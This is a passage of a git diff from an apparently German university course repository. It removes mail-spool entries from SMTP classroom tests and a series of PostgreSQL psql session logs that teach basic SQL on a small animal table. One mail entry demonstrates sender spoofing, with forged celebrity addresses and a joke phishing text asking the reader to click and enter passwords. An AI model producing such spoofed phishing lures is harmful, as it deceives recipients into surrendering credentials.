-Content-Length: 57 -Lines: 7 - -HELO cassini - -Text vor dem Punkt - -. - -Text nach dem Punkt - -From peter.gerwinski@hs-bochum.de Thu Nov 02 11:39:11 2023 -Return-path: <peter.gerwinski@hs-bochum.de> -Envelope-to: peter@phoenix.intern -Delivery-date: Thu, 02 Nov 2023 11:39:11 +0100 -Received: from [127.0.0.1] (helo=m31.gerwinski.de) - by cassini with esmtp (Exim 4.96) - (envelope-from <peter.gerwinski@hs-bochum.de>) - id 1qyV6I-004eJE-1S - for peter@phoenix.intern; - Thu, 02 Nov 2023 11:39:11 +0100 -Received: from [195.37.15.82] (helo=cassini) - by m31.gerwinski.de with smtp (Exim 4.94.2) - (envelope-from <peter.gerwinski@hs-bochum.de>) - id 1qyV6A-00GXPs-Gi - for peter@gerwinski.de; Thu, 02 Nov 2023 11:39:11 +0100 -Message-Id: <E1qyV6I-004eJE-1S@cassini> -From: peter.gerwinski@hs-bochum.de -Date: Thu, 02 Nov 2023 11:39:11 +0100 -Content-Length: 14 -Lines: 5 - -vor dem Punkt - -From peter.gerwinski@hs-bochum.de Thu Nov 02 11:37:29 2023 -Return-path: <peter.gerwinski@hs-bochum.de> -Envelope-to: peter@phoenix.intern -Delivery-date: Thu, 02 Nov 2023 11:37:29 +0100 -Received: from [127.0.0.1] (helo=m31.gerwinski.de) - by cassini with esmtp (Exim 4.96) - (envelope-from <peter.gerwinski@hs-bochum.de>) - id 1qyV4e-004eDo-2d - for peter@phoenix.intern; - Thu, 02 Nov 2023 11:37:29 +0100 -Received: from [195.37.15.82] (helo=cassini) - by m31.gerwinski.de with smtp (Exim 4.94.2) - (envelope-from <peter.gerwinski@hs-bochum.de>) - id 1qyV4V-00GXJw-Ld - for peter@gerwinski.de; Thu, 02 Nov 2023 11:37:29 +0100 -Subject: Punkt-Test -Message-Id: <E1qyV4e-004eDo-2d@cassini> -From: peter.gerwinski@hs-bochum.de -Date: Thu, 02 Nov 2023 11:37:29 +0100 -Content-Length: 14 -Lines: 1 - -vor dem Punkt - -From bezos@amazon.com Thu Nov 02 11:47:00 2023 -Return-path: <bezos@amazon.com> -Envelope-to: peter@phoenix.intern -Delivery-date: Thu, 02 Nov 2023 11:47:00 +0100 -Received: from [127.0.0.1] (helo=m31.gerwinski.de) - by cassini with esmtp (Exim 4.96) - (envelope-from <bezos@amazon.com>) - id 1qyVDr-004eg5-0R - for peter@phoenix.intern; - Thu, 02 Nov 2023 11:47:00 +0100 -Received: from [195.37.15.82] (helo=cassini) - by m31.gerwinski.de with smtp (Exim 4.94.2) - (envelope-from <bezos@amazon.com>) - id 1qyVCl-00GXuG-JM - for peter@gerwinski.de; Thu, 02 Nov 2023 11:46:59 +0100 -From: Elon Musk <musk@tesla.com> -To: Bill Gates <gates@microsoft.com> -Subject: Darlehensangebot -Message-Id: <E1qyVDr-004eg5-0R@cassini> -Date: Thu, 02 Nov 2023 11:47:00 +0100 -Content-Length: 126 -Lines: 4 - -Brauchen Sie schnell Geld? -Hier können Sie schnell Geld verlieren! -Hier klicken und sämtliche Passwörter eingeben: -[KLICK] - diff --git a/20231109/Zeichen_123.pdf b/20231109/Zeichen_123.pdf deleted file mode 120000 index fdbc897227df059cfda790a16555e6e417682116..0000000000000000000000000000000000000000 --- a/20231109/Zeichen_123.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/Zeichen_123.pdf \ No newline at end of file diff --git a/20231109/dbms-01.txt b/20231109/dbms-01.txt deleted file mode 100644 index ff4a2a9bf18785de10ae274452a27b7dd017a2de..0000000000000000000000000000000000000000 --- a/20231109/dbms-01.txt +++ /dev/null @@ -1,164 +0,0 @@ -root@cassini:~# su - postgres -postgres@cassini:~$ psql -psql (15.3 (Debian 15.3-0+deb12u1)) -Geben Sie »help« für Hilfe ein. - -postgres=# help -Dies ist psql, die Kommandozeilenschnittstelle für PostgreSQL. -Geben Sie ein: \copyright für Urheberrechtsinformationen - \h für Hilfe über SQL-Anweisungen - \? für Hilfe über interne Anweisungen - \g oder Semikolon, um eine Anfrage auszuführen - \q um zu beenden -postgres=# \? -Allgemein - \copyright PostgreSQL-Urheberrechtsinformationen zeigen - \crosstabview [SPALTEN] Anfrage ausführen und Ergebnis als Kreuztabelle - anzeigen - \errverbose letzte Fehlermeldung mit vollen Details anzeigen - \g [(OPT)] [DATEI] SQL-Anweisung ausführen (und Ergebnis in Datei oder - |Pipe schreiben); \g ohne Argumente entspricht Semikolon - \gdesc Ergebnis der Anfrage beschreiben ohne sie auszuführen - \gexec Anfrage ausführen, dann jeden Ergebniswert als - Anweisung ausführen - \gset [PREFIX] SQL-Anweisung ausführen und Ergebnis in psql-Variablen - ablegen - \gx [(OPT)] [DATEI] wie \g, aber mit erweitertem Ausgabemodus - \q psql beenden - \watch [SEK] Anfrage alle SEK Sekunden ausführen - -Hilfe - \? [commands] Hilfe über Backslash-Befehle anzeigen - \? options Hilfe über psql-Kommandozeilenoptionen anzeigen - \? variables Hilfe über besondere Variablen anzeigen - \h [NAME] Syntaxhilfe über SQL-Anweisung, * für alle Anweisungen - -Anfragepuffer - \e [DATEI] [ZEILE] Anfragepuffer (oder Datei) mit externem Editor bearbeiten - \ef [FUNKNAME [ZEILE]] Funktionsdefinition mit externem Editor bearbeiten - \ev [SICHTNAME [ZEILE]] Sichtdefinition mit externem Editor bearbeiten - \p aktuellen Inhalt der Anfragepuffers zeigen - \r Anfragepuffer löschen - \s [DATEI] Befehlsgeschichte ausgeben oder in Datei schreiben - \w DATEI Anfragepuffer in Datei schreiben - -Eingabe/Ausgabe - \copy ... SQL COPY mit Datenstrom auf Client-Host ausführen - \echo [-n] [TEXT] Text auf Standardausgabe schreiben (-n für ohne Newline) - \i DATEI Befehle aus Datei ausführen - \ir DATEI wie \i, aber relativ zum Ort des aktuellen Skripts - \o [DATEI] alle Anfrageergebnisse in Datei oder |Pipe schreiben - \qecho [-n] [TEXT] Text auf Ausgabestrom für \o schreiben (-n für ohne - Newline) - \warn [-n] [TEXT] Text auf Standardfehlerausgabe schreiben (-n für ohne - Newline) - -Bedingte Anweisungen - \if AUSDRUCK Beginn einer bedingten Anweisung - \elif AUSDRUCK Alternative in aktueller bedingter Anweisung - \else letzte Alternative in aktueller bedingter Anweisung - \endif Ende einer bedingten Anweisung - -Informationen - (Optionen: S = Systemobjekte zeigen, + = zusätzliche Details zeigen) - \d[S+] Tabellen, Sichten und Sequenzen auflisten - \d[S+] NAME Tabelle, Sicht, Sequenz oder Index beschreiben - \da[S] [MUSTER] Aggregatfunktionen auflisten - \dA[+] [MUSTER] Zugriffsmethoden auflisten - \dAc[+] [AMMUST [TYPMUST]] Operatorklassen auflisten - \dAf[+] [AMMUST [TYPMUST]] Operatorfamilien auflisten - \dAo[+] [AMMUST [OPFMUST]] Operatoren in Operatorfamilien auflisten - \dAp[+] [AMMUST [OPFMUST]] Unterst.funktionen in Operatorfamilien auflisten - \db[+] [MUSTER] Tablespaces auflisten - \dc[S+] [MUSTER] Konversionen auflisten - \dconfig[+] [MUSTER] Konfigurationsparameter auflisten - \dC[+] [MUSTER] Typumwandlungen (Casts) auflisten - \dd[S] [MUSTER] Objektbeschreibungen zeigen, die nirgendwo anders - erscheinen - \dD[S+] [MUSTER] Domänen auflisten - \ddp [MUSTER] Vorgabeprivilegien auflisten - \dE[S+] [MUSTER] Fremdtabellen auflisten - \des[+] [MUSTER] Fremdserver auflisten - \det[+] [MUSTER] Fremdtabellen auflisten - \deu[+] [MUSTER] Benutzerabbildungen auflisten - \dew[+] [MUSTER] Fremddaten-Wrapper auflisten - \df[anptw][S+] [FUNKMUSTR [TYPMUSTR ...]] - Funktionen [nur Agg/normale/Proz/Trigger/Fenster] auflisten - \dF[+] [MUSTER] Textsuchekonfigurationen auflisten - \dFd[+] [MUSTER] Textsuchewörterbücher auflisten - \dFp[+] [MUSTER] Textsucheparser auflisten - \dFt[+] [MUSTER] Textsuchevorlagen auflisten - \dg[S+] [MUSTER] Rollen auflisten - \di[S+] [MUSTER] Indexe auflisten - \dl[+] Large Objects auflisten, wie \lo_list - \dL[S+] [MUSTER] prozedurale Sprachen auflisten - \dm[S+] [MUSTER] materialisierte Sichten auflisten - \dn[S+] [MUSTER] Schemas auflisten - \do[S+] [OPMUST [TYPMUST [TYPMUST]]] - Operatoren auflisten - \dO[S+] [MUSTER] Sortierfolgen auflisten - \dp [MUSTER] Zugriffsprivilegien für Tabellen, Sichten und - Sequenzen auflisten - \dP[itn+] [MUSTER] partitionierte Relationen [nur Indexe/Tabellen] - auflisten [n=geschachtelt] - \drds [ROLLMUST [DBMUST]] datenbankspezifische Rolleneinstellungen auflisten - \dRp[+] [MUSTER] Replikationspublikationen auflisten - \dRs[+] [MUSTER] Replikationssubskriptionen auflisten - \ds[S+] [MUSTER] Sequenzen auflisten - \dt[S+] [MUSTER] Tabellen auflisten - \dT[S+] [MUSTER] Datentypen auflisten - \du[S+] [MUSTER] Rollen auflisten - \dv[S+] [MUSTER] Sichten auflisten - \dx[+] [MUSTER] Erweiterungen auflisten - \dX [MUSTER] erweiterte Statistiken auflisten - \dy[+] [MUSTER] Ereignistrigger auflisten - \l[+] [MUSTER] Datenbanken auflisten - \sf[+] FUNKNAME Funktionsdefinition zeigen - \sv[+] SICHTNAME Sichtdefinition zeigen - \z [MUSTER] äquivalent zu \dp - -Large Objects - \lo_export LOBOID DATEI - Large Object in Datei schreiben - \lo_import DATEI [KOMMENTAR] - Large Object aus Datei lesen - \lo_list[+] Large Objects auflisten - \lo_unlink LOBOID Large Object löschen - -Formatierung - \a zwischen unausgerichtetem und ausgerichtetem Ausgabemodus - umschalten - \C [TEXT] Tabellentitel setzen oder löschen - \f [ZEICHEN] Feldtrennzeichen zeigen oder setzen - \H HTML-Ausgabemodus umschalten (gegenwärtig aus) - \pset [NAME [WERT]] Tabellenausgabeoption setzen - (border|columns|csv_fieldsep|expanded|fieldsep| - fieldsep_zero|footer|format|linestyle|null| - numericlocale|pager|pager_min_lines|recordsep| - recordsep_zero|tableattr|title|tuples_only| - unicode_border_linestyle|unicode_column_linestyle| - unicode_header_linestyle) - \t [on|off] nur Datenzeilen zeigen (gegenwärtig aus) - \T [TEXT] HTML <table>-Tag-Attribute setzen oder löschen - \x [on|off|auto] erweiterte Ausgabe umschalten (gegenwärtig aus) - -Verbindung - \c[onnect] {[DBNAME|- BENUTZER|- HOST|- PORT|-] | conninfo} - mit neuer Datenbank verbinden (aktuell »postgres«) - \conninfo Informationen über aktuelle Verbindung anzeigen - \encoding [KODIERUNG] Client-Kodierung zeigen oder setzen - \password [BENUTZERNAME] - sicheres Ändern eines Benutzerpasswortes - -Betriebssystem - \cd [VERZ] Arbeitsverzeichnis wechseln - \getenv PSQLVAR ENVVAR Umgebungsvariable auslesen - \setenv NAME [WERT] Umgebungsvariable setzen oder löschen - \timing [on|off] Zeitmessung umschalten (gegenwärtig aus) - \! [BEFEHL] Befehl in Shell ausführen oder interaktive Shell starten - -Variablen - \prompt [TEXT] NAME interne Variable vom Benutzer abfragen - \set [NAME [WERT]] interne Variable setzen, oder alle anzeigen - \unset NAME interne Variable löschen -postgres=# diff --git a/20231109/dbms-02.txt b/20231109/dbms-02.txt deleted file mode 100644 index 64f598a6f2404419c05f7169ae81631befc57561..0000000000000000000000000000000000000000 --- a/20231109/dbms-02.txt +++ /dev/null @@ -1,19 +0,0 @@ -postgres=# \l - Liste der Datenbanken - Name | Eigentümer | Kodierung | Sortierfolge | Zeichentyp | ICU-Locale | Locale-Provider | Zugriffsprivilegien ------------+------------+-----------+--------------+-------------+------------+-----------------+----------------------- - postgres | postgres | UTF8 | de_DE.UTF-8 | de_DE.UTF-8 | | libc | - template0 | postgres | UTF8 | de_DE.UTF-8 | de_DE.UTF-8 | | libc | =c/postgres + - | | | | | | | postgres=CTc/postgres - template1 | postgres | UTF8 | de_DE.UTF-8 | de_DE.UTF-8 | | libc | =c/postgres + - | | | | | | | postgres=CTc/postgres -(3 Zeilen) - -postgres=# create database testdb; -CREATE DATABASE -postgres=# create user dbs with password '####'; -CREATE ROLE -postgres=# GRANT ALL ON DATABASE testdb TO dbs; -GRANT -postgres=# \q -postgres@cassini:~$ diff --git a/20231109/dbms-03.txt b/20231109/dbms-03.txt deleted file mode 100644 index 48161738ea684e020b22c957aae87a37f6592d5c..0000000000000000000000000000000000000000 --- a/20231109/dbms-03.txt +++ /dev/null @@ -1,80 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs> psql --help -psql ist das interaktive PostgreSQL-Terminal. - -Aufruf: - psql [OPTION]... [DBNAME [BENUTZERNAME]] - -Allgemeine Optionen: - -c, --command=ANWEISUNG einzelne Anweisung ausführen und beenden - -d, --dbname=DBNAME Datenbank, zu der verbunden werden soll - (Standard: »peter«) - -f, --file=DATEINAME Anweisungen aus Datei ausführen und danach beenden - -l, --list verfügbare Datenbanken auflisten und beenden - -v, --set=, --variable=NAME=WERT - psql-Variable NAME auf WERT setzen - (z.B. -v ON_ERROR_STOP=1) - -V, --version Versionsinformationen anzeigen, dann beenden - -X, --no-psqlrc Startdatei (~/.psqlrc) nicht lesen - -1 (»eins«), --single-transaction - als eine einzige Transaktion ausführen (wenn nicht - interaktiv) - -?, --help[=options] diese Hilfe anzeigen, dann beenden - --help=commands Backslash-Befehle auflisten, dann beenden - --help=variables besondere Variablen auflisten, dann beenden - -Eingabe- und Ausgabeoptionen: - -a, --echo-all Skript-Inhalt wiedergeben - -b, --echo-errors fehlgeschlagene Anweisungen wiedergeben - -e, --echo-queries an den Server geschickte Anweisungen zeigen - -E, --echo-hidden von internen Anweisungen erzeugte Anfragen zeigen - -L, --log-file=DATEINAME - Sitzungslog in Datei senden - -n, --no-readline erweiterte Zeilenbearbeitung (Readline) ausschalten - -o, --output=DATEINAME Anfrageergebnisse in Datei (oder |Pipe) senden - -q, --quiet stille Ausführung (keine Mitteilungen, nur - Anfrageergebnisse) - -s, --single-step Einzelschrittmodus (jede Anfrage bestätigen) - -S, --single-line Einzelzeilenmodus (Zeilenende beendet SQL-Anweisung) - -Ausgabeformatoptionen: - -A, --no-align unausgerichteter Tabellenausgabemodus - --csv Tabellenausgabemodus CSV (Comma-Separated Values) - -F, --field-separator=ZEICHEN - Feldtrennzeichen für unausgerichteten Ausgabemodus - (Standard: »|«) - -H, --html HTML-Tabellenausgabemodus - -P, --pset=VAR[=ARG] Ausgabeoption VAR auf ARG setzen (siehe - \pset-Anweisung) - -R, --record-separator=ZEICHEN - Satztrennzeichen für unausgerichteten Ausgabemodus - (Standard: Newline) - -t, --tuples-only nur Datenzeilen ausgeben - -T, --table-attr=TEXT HTML »table«-Tag-Attribute setzen (z.B. width, border) - -x, --expanded erweiterte Tabellenausgabe einschalten - -z, --field-separator-zero - Feldtrennzeichen für unausgerichteten Ausgabemodus auf - Null-Byte setzen - -0, --record-separator-zero - Satztrennzeichen für unausgerichteten Ausgabemodus auf - Null-Byte setzen - -Verbindungsoptionen: - -h, --host=HOSTNAME Hostname des Datenbankservers oder - Socket-Verzeichnis (Standard: »/var/run/postgresql«) - -p, --port=PORT Port des Datenbankservers (Standard: »5432«) - -U, --username=NAME Datenbank-Benutzername (Standard: »peter«) - -w, --no-password niemals nach Passwort fragen - -W, --password nach Passwort fragen (sollte automatisch geschehen) - -Für mehr Informationen, geben Sie »\?« (für interne Anweisungen) oder -»\help« (für SQL-Anweisungen) in psql ein oder schauen Sie in den psql- -Abschnitt der PostgreSQL-Dokumentation. - -Berichten Sie Fehler an <pgsql-bugs@lists.postgresql.org>. -PostgreSQL Homepage: <https://www.postgresql.org/> -cassini/home/peter/bo/2023ws/dbs> psql testdb dbs -psql: Fehler: Verbindung zum Server auf Socket »/var/run/postgresql/.s.PGSQL.5432« fehlgeschlagen: FATAL: Peer-Authentifizierung für Benutzer »dbs« fehlgeschlagen -cassini/home/peter/bo/2023ws/dbs> psql --password testdb dbs -Passwort: -psql: Fehler: Verbindung zum Server auf Socket »/var/run/postgresql/.s.PGSQL.5432« fehlgeschlagen: FATAL: Peer-Authentifizierung für Benutzer »dbs« fehlgeschlagen -cassini/home/peter/bo/2023ws/dbs> diff --git a/20231109/dbms-04.txt b/20231109/dbms-04.txt deleted file mode 100644 index 4cce59ef1fa2321f1290f2216ab4d08545b54988..0000000000000000000000000000000000000000 --- a/20231109/dbms-04.txt +++ /dev/null @@ -1,19 +0,0 @@ -root@cassini:~# su - postgres -postgres@cassini:~$ psql -psql (15.3 (Debian 15.3-0+deb12u1)) -Geben Sie »help« für Hilfe ein. - -postgres=# \c testdb -Sie sind jetzt verbunden mit der Datenbank »testdb« als Benutzer »postgres«. -testdb=# \d -Keine Relationen gefunden -testdb=# CREATE TABLE Tier ( Name CHARACTER (30), Tierart CHARACTER (30) ); -CREATE TABLE -testdb=# \d - Liste der Relationen - Schema | Name | Typ | Eigentümer ---------+------+---------+------------ - public | tier | Tabelle | postgres -(1 Zeile) - -testdb=# diff --git a/20231109/dbms-05.txt b/20231109/dbms-05.txt deleted file mode 100644 index cd27a98ffcb5b722ea79ae4ea963b8c1f3fb428f..0000000000000000000000000000000000000000 --- a/20231109/dbms-05.txt +++ /dev/null @@ -1,19 +0,0 @@ -testdb=# \d - Liste der Relationen - Schema | Name | Typ | Eigentümer ---------+------+---------+------------ - public | tier | Tabelle | postgres -(1 Zeile) - -testdb=# INSERT INTO tier VALUES ( 'Esmeralda', 'Spinne' ); -INSERT 0 1 -testdb=# INSERT INTO tier VALUES ( 'Timmy', 'Hund' ); -INSERT 0 1 -testdb=# SELECT * FROM tier; - name | tierart ---------------------------------+-------------------------------- - Esmeralda | Spinne - Timmy | Hund -(2 Zeilen) - -testdb=# diff --git a/20231109/dbms-06.txt b/20231109/dbms-06.txt deleted file mode 100644 index 03f76a7eed46ed39fc664815bcf5f6afcc644106..0000000000000000000000000000000000000000 --- a/20231109/dbms-06.txt +++ /dev/null @@ -1,13 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231109> psql -U dbs -W testdb -Passwort: -psql: Fehler: Verbindung zum Server auf Socket »/var/run/postgresql/.s.PGSQL.5432« fehlgeschlagen: FATAL: Peer-Authentifizierung für Benutzer »dbs« fehlgeschlagen -cassini/home/peter/bo/2023ws/dbs/20231109> LANG=C psql -U dbs -W testdb -Password: -psql: error: connection to server on socket "/var/run/postgresql/.s.PGSQL.5432" failed: FATAL: Peer-Authentifizierung für Benutzer »dbs« fehlgeschlagen -cassini/home/peter/bo/2023ws/dbs/20231109> psql -h localhost -U dbs -W testdb -Passwort: -psql (15.3 (Debian 15.3-0+deb12u1)) -SSL-Verbindung (Protokoll: TLSv1.3, Verschlüsselungsmethode: TLS_AES_256_GCM_SHA384, Komprimierung: aus) -Geben Sie »help« für Hilfe ein. - -testdb=> diff --git a/20231109/dbms-07.txt b/20231109/dbms-07.txt deleted file mode 100644 index 3c8ca7a7f1ec6e0bce9ea24f04bd97445e89980b..0000000000000000000000000000000000000000 --- a/20231109/dbms-07.txt +++ /dev/null @@ -1,88 +0,0 @@ -postgres=# \l - Liste der Datenbanken - Name | Eigentümer | Kodierung | Sortierfolge | Zeichentyp | ICU-Locale | Locale-Provider | Zugriffsprivilegien ------------+------------+-----------+--------------+-------------+------------+-----------------+----------------------- - postgres | postgres | UTF8 | de_DE.UTF-8 | de_DE.UTF-8 | | libc | - template0 | postgres | UTF8 | de_DE.UTF-8 | de_DE.UTF-8 | | libc | =c/postgres + - | | | | | | | postgres=CTc/postgres - template1 | postgres | UTF8 | de_DE.UTF-8 | de_DE.UTF-8 | | libc | =c/postgres + - | | | | | | | postgres=CTc/postgres - testdb | postgres | UTF8 | de_DE.UTF-8 | de_DE.UTF-8 | | libc | =Tc/postgres + - | | | | | | | postgres=CTc/postgres+ - | | | | | | | dbs=CTc/postgres -(4 Zeilen) - -postgres=# \c testdb -Sie sind jetzt verbunden mit der Datenbank »testdb« als Benutzer »postgres«. -testdb=# \d - Liste der Relationen - Schema | Name | Typ | Eigentümer ---------+------+---------+------------ - public | tier | Tabelle | postgres -(1 Zeile) - -testdb=# SELECT * FROM tier; - name | tierart ---------------------------------+-------------------------------- - Esmeralda | Spinne - Timmy | Hund -(2 Zeilen) - -testdb=# SELECT tie - -testdb=# SELECT tierart FROM tier; - tierart --------------------------------- - Spinne - Hund -(2 Zeilen) - -testdb=# SELECT name FROM tier; - name --------------------------------- - Esmeralda - Timmy -(2 Zeilen) - -testdb=# SELECT name FROM tier WHERE tierart = 'Spinne'; - name --------------------------------- - Esmeralda -(1 Zeile) - -testdb=# SELECT tierart FROM tier WHERE name = 'Timmy'; - tierart --------------------------------- - Hund -(1 Zeile) - -testdb=# SELECT tierart FROM tier WHERE name LIKE '%imm*'; - tierart ---------- -(0 Zeilen) - -testdb=# SELECT tierart FROM tier WHERE name LIKE '%imm%'; - tierart --------------------------------- - Hund -(1 Zeile) - -testdb=# SELECT * FROM tier WHERE name LIKE '%imm%'; - name | tierart ---------------------------------+-------------------------------- - Timmy | Hund -(1 Zeile) - -testdb=# SELECT name, tierart FROM tier WHERE name LIKE '%imm%'; - name | tierart ---------------------------------+-------------------------------- - Timmy | Hund -(1 Zeile) - -testdb=# SELECT tierart, name FROM tier WHERE name LIKE '%imm%'; - tierart | name ---------------------------------+-------------------------------- - Hund | Timmy -(1 Zeile) - -testdb=# diff --git a/20231109/dbms-08.txt b/20231109/dbms-08.txt deleted file mode 100644 index 576fb59f46bcbfaefbf777fedef51e3594dfbed1..0000000000000000000000000000000000000000 --- a/20231109/dbms-08.txt +++ /dev/null @@ -1,120 +0,0 @@ -postgres=# \c testdb -Sie sind jetzt verbunden mit der Datenbank »testdb« als Benutzer »postgres«. -testdb=# \d - Liste der Relationen - Schema | Name | Typ | Eigentümer ---------+------+---------+------------ - public | tier | Tabelle | postgres -(1 Zeile) - -testdb=# SELECT * FROM tier; - name | tierart ---------------------------------+-------------------------------- - Esmeralda | Spinne - Timmy | Hund -(2 Zeilen) - -testdb=# SELECT tie - -testdb=# SELECT tierart FROM tier; - tierart --------------------------------- - Spinne - Hund -(2 Zeilen) - -testdb=# SELECT name FROM tier; - name --------------------------------- - Esmeralda - Timmy -(2 Zeilen) - -testdb=# SELECT name FROM tier WHERE tierart = 'Spinne'; - name --------------------------------- - Esmeralda -(1 Zeile) - -testdb=# SELECT tierart FROM tier WHERE name = 'Timmy'; - tierart --------------------------------- - Hund -(1 Zeile) - -testdb=# SELECT tierart FROM tier WHERE name LIKE '%imm*'; - tierart ---------- -(0 Zeilen) - -testdb=# SELECT tierart FROM tier WHERE name LIKE '%imm%'; - tierart --------------------------------- - Hund -(1 Zeile) - -testdb=# SELECT * FROM tier WHERE name LIKE '%imm%'; - name | tierart ---------------------------------+-------------------------------- - Timmy | Hund -(1 Zeile) - -testdb=# SELECT name, tierart FROM tier WHERE name LIKE '%imm%'; - name | tierart ---------------------------------+-------------------------------- - Timmy | Hund -(1 Zeile) - -testdb=# SELECT tierart, name FROM tier WHERE name LIKE '%imm%'; - tierart | name ---------------------------------+-------------------------------- - Hund | Timmy -(1 Zeile) - -testdb=# ALTER TABLE tier ADD CO -COLUMN CONSTRAINT -testdb=# ALTER TABLE tier ADD COLUMN id INTEGER; -ALTER TABLE -testdb=# SELECT * FROM tier; - name | tierart | id ---------------------------------+--------------------------------+---- - Esmeralda | Spinne | - Timmy | Hund | -(2 Zeilen) - -testdb=# SELECT name FROM tier WHERE id IS NULL; - name --------------------------------- - Esmeralda - Timmy -(2 Zeilen) - -testdb=# UPDATE tier SET id=1 WHERE name='Esmeralda'; -UPDATE 1 -testdb=# SELECT name FROM tier; - name --------------------------------- - Timmy - Esmeralda -(2 Zeilen) - -testdb=# SELECT * FROM tier; - name | tierart | id ---------------------------------+--------------------------------+---- - Timmy | Hund | - Esmeralda | Spinne | 1 -(2 Zeilen) - -testdb=# SELECT * FROM tier WHERE id IS NULL; - name | tierart | id ---------------------------------+--------------------------------+---- - Timmy | Hund | -(1 Zeile) - -testdb=# SELECT * FROM tier WHERE id IS NOT NULL; - name | tierart | id ---------------------------------+--------------------------------+---- - Esmeralda | Spinne | 1 -(1 Zeile) - -testdb=# diff --git a/20231109/dbms-09.txt b/20231109/dbms-09.txt deleted file mode 100644 index cecf5883ecc768374314631d533260282119393d..0000000000000000000000000000000000000000 --- a/20231109/dbms-09.txt +++ /dev/null @@ -1,100 +0,0 @@ -testdb=# INSERT INTO tier VALUES ( 'Dio', 'Katze' ); -INSERT 0 1 -testdb=# SELECT * FROM tier; - name | tierart | id ---------------------------------+--------------------------------+---- - Esmeralda | Spinne | 1 - Timmy | Hund | 2 - Dio | Katze | -(3 Zeilen) - -testdb=# SELECT * FROM tier WHERE id IS NULL; - name | tierart | id ---------------------------------+--------------------------------+---- - Dio | Katze | -(1 Zeile) - -testdb=# SELECT * FROM tier WHERE id=NULL; - name | tierart | id -------+---------+---- -(0 Zeilen) - -testdb=# UPDATE tier SET id=3 WHERE id IS NULL; -UPDATE 1 -testdb=# SELECT * FROM tier WHERE id IS NOT NULL; - name | tierart | id ---------------------------------+--------------------------------+---- - Esmeralda | Spinne | 1 - Timmy | Hund | 2 - Dio | Katze | 3 -(3 Zeilen) - -testdb=# SELECT * FROM tier ORDER BY tierart; - name | tierart | id ---------------------------------+--------------------------------+---- - Timmy | Hund | 2 - Dio | Katze | 3 - Esmeralda | Spinne | 1 -(3 Zeilen) - -testdb=# SELECT * FROM tier ORDER BY name; - name | tierart | id ---------------------------------+--------------------------------+---- - Dio | Katze | 3 - Esmeralda | Spinne | 1 - Timmy | Hund | 2 -(3 Zeilen) - -testdb=# SELECT * FROM tier ORDER BY id; - name | tierart | id ---------------------------------+--------------------------------+---- - Esmeralda | Spinne | 1 - Timmy | Hund | 2 - Dio | Katze | 3 -(3 Zeilen) - -testdb=# insert into animal ( id, name, kind ) values ( 4, 'Tusnelda', 'Spinne' ); -FEHLER: Relation »animal« existiert nicht -ZEILE 1: insert into animal ( id, name, kind ) values ( 4, 'Tusnelda'... - ^ -testdb=# INSERT INTO tier ( id, name, kind ) VALUES ( 4, 'Tusnelda', 'Spinne' ); -FEHLER: Spalte »kind« von Relation »tier« existiert nicht -ZEILE 1: INSERT INTO tier ( id, name, kind ) VALUES ( 4, 'Tusnelda', ... - ^ -testdb=# INSERT INTO tier ( id, name, tierart ) VALUES ( 4, 'Tusnelda', 'Spinne' ); -INSERT 0 1 -testdb=# SELECT * FROM tier ORDER BY tierart; - name | tierart | id ---------------------------------+--------------------------------+---- - Timmy | Hund | 2 - Dio | Katze | 3 - Esmeralda | Spinne | 1 - Tusnelda | Spinne | 4 -(4 Zeilen) - -testdb=# SELECT * FROM tier WHERE tierart = 'Spinne'; - name | tierart | id ---------------------------------+--------------------------------+---- - Esmeralda | Spinne | 1 - Tusnelda | Spinne | 4 -(2 Zeilen) - -testdb=# SELECT COUNT FROM tier WHERE tierart = 'Spinne'; -FEHLER: Spalte »count« existiert nicht -ZEILE 1: SELECT COUNT FROM tier WHERE tierart = 'Spinne'; - ^ -testdb=# SELECT COUNT (*) FROM tier WHERE tierart = 'Spinne'; - count -------- - 2 -(1 Zeile) - -testdb=# SELECT COUNT (*) FROM tier GROUP BY tierart; - count -------- - 2 - 1 - 1 -(3 Zeilen) - -testdb=# diff --git a/20231109/dbms-10.txt b/20231109/dbms-10.txt deleted file mode 100644 index 5c2f55329c5e30b1d99f475ba030b9862e7a29a5..0000000000000000000000000000000000000000 --- a/20231109/dbms-10.txt +++ /dev/null @@ -1,87 +0,0 @@ -testdb=# SELECT * FROM tier WHERE tierart = 'Spinne'; - name | tierart | id ---------------------------------+--------------------------------+---- - Esmeralda | Spinne | 1 - Tusnelda | Spinne | 4 -(2 Zeilen) - -testdb=# SELECT COUNT FROM tier WHERE tierart = 'Spinne'; -FEHLER: Spalte »count« existiert nicht -ZEILE 1: SELECT COUNT FROM tier WHERE tierart = 'Spinne'; - ^ -testdb=# SELECT COUNT (*) FROM tier WHERE tierart = 'Spinne'; - count -------- - 2 -(1 Zeile) - -testdb=# SELECT COUNT (*) FROM tier GROUP BY tierart; - count -------- - 2 - 1 - 1 -(3 Zeilen) - -testdb=# SELECT tierart AND COUNT(tierart) FROM tier GROUP BY tierart; -FEHLER: Argument von AND muss Typ boolean haben, nicht Typ character -ZEILE 1: SELECT tierart AND COUNT(tierart) FROM tier GROUP BY tierart... - ^ -testdb=# SELECT tierart FROM tier GROUP BY tierart AND COUNT(tierart); -FEHLER: Argument von AND muss Typ boolean haben, nicht Typ character -ZEILE 1: SELECT tierart FROM tier GROUP BY tierart AND COUNT(tierart)... - ^ -testdb=# SELECT tierart, name FROM tier; - tierart | name ---------------------------------+-------------------------------- - Spinne | Esmeralda - Hund | Timmy - Katze | Dio - Spinne | Tusnelda -(4 Zeilen) - -testdb=# select tierart, count(*) as id FROM tier GROUP by Tierart; - tierart | id ---------------------------------+---- - Spinne | 2 - Hund | 1 - Katze | 1 -(3 Zeilen) - -testdb=# select tierart, count(*) as schnubbel FROM tier GROUP by Tierart; - tierart | schnubbel ---------------------------------+----------- - Spinne | 2 - Hund | 1 - Katze | 1 -(3 Zeilen) - -testdb=# select tierart as '§$§%$/$(', count(*) as schnubbel FROM tier GROUP by Tierart; -FEHLER: Syntaxfehler bei »'§$§%$/$('« -ZEILE 1: select tierart as '§$§%$/$(', count(*) as schnubbel FROM tie... - ^ -testdb=# select tierart as WatFuernViech, count(*) as schnubbel FROM tier GROUP by Tierart; - watfuernviech | schnubbel ---------------------------------+----------- - Spinne | 2 - Hund | 1 - Katze | 1 -(3 Zeilen) - -testdb=# select tierart, count(*) as Anzahl FROM tier GROUP by Tierart; - tierart | anzahl ---------------------------------+-------- - Spinne | 2 - Hund | 1 - Katze | 1 -(3 Zeilen) - -testdb=# select 